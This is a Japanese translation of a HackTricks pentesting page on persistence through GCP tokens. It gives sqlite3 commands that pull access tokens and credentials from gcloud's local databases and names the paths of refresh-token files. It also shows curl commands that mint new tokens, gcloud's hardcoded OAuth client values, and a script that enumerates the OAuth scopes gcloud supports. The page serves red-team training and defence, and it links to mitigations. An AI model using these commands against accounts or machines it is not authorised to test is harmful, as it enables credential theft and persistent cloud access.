GCP - トークン持続性

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

認証されたユーザートークン

ユーザーの現在のトークンを取得するには、次のコマンドを実行できます:

bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

このページでgcloudを使用してこのトークンを直接使用する方法を確認してください:

Cloud SSRF - HackTricks

新しいアクセストークンを生成するための詳細を取得するには、次のコマンドを実行します:

bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

$HOME/.config/gcloud/application_default_credentials.json および $HOME/.config/gcloud/legacy_credentials/*/adc.json でリフレッシュトークンを見つけることも可能です。

リフレッシュトークン、クライアントID、およびクライアントシークレットを使用して新しいアクセストークンを取得するには、次のコマンドを実行します:

bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

リフレッシュトークンの有効性は Admin > Security > Google Cloud session control で管理でき、デフォルトでは16時間に設定されていますが、期限切れにならないように設定することもできます:

Auth flow

gcloud auth login のようなものを使用する際の認証フローは、ブラウザでプロンプトを開き、すべてのスコープを承認した後、ブラウザがツールによって開かれたhttpポートにこのようなリクエストを送信します:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

その後、gcloudは状態とコードを使用して、いくつかのハードコーディングされた client_id (32555940559.apps.googleusercontent.com) と client_secret (ZmssLNjJy2998hD4CTg2ejr2) を使って 最終的なリフレッシュトークンデータ を取得します。

caution

localhostとの通信はHTTPで行われるため、リフレッシュトークンを取得するためにデータを傍受することが可能ですが、このデータは1回だけ有効であるため、無駄になります。ファイルからリフレッシュトークンを読む方が簡単です。

OAuthスコープ

すべてのGoogleスコープは https://developers.google.com/identity/protocols/oauth2/scopes で見つけることができます。または、次のコマンドを実行して取得できます:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

このスクリプトを使用すると、gcloud が認証に使用するアプリケーションがサポートできるスコープを確認できます:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

このアプリがこれらのスコープをサポートしていることが確認されました:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

このアプリが**drive**スコープをサポートしているのは興味深いことであり、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートすることが可能になります。

こちらで この悪用方法を確認してください

サービスアカウント

認証されたユーザーと同様に、サービスアカウントのプライベートキーのファイルを侵害することができれば、通常は望む限りアクセスすることができます
しかし、サービスアカウントのOAuthトークンを盗むことができれば、さらに興味深いことになります。なぜなら、デフォルトではこれらのトークンは通常1時間だけ有効ですが、もし被害者がプライベートAPIキーを削除した場合、OAuthトークンは有効期限が切れるまで有効であり続けるからです

メタデータ

明らかに、GCP環境で実行されているマシン内にいる限り、メタデータエンドポイントに連絡することで、そのマシンに接続されたサービスアカウントにアクセスすることができます(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください)。

修正策

これらの技術に対するいくつかの修正策は、https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2で説明されています。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする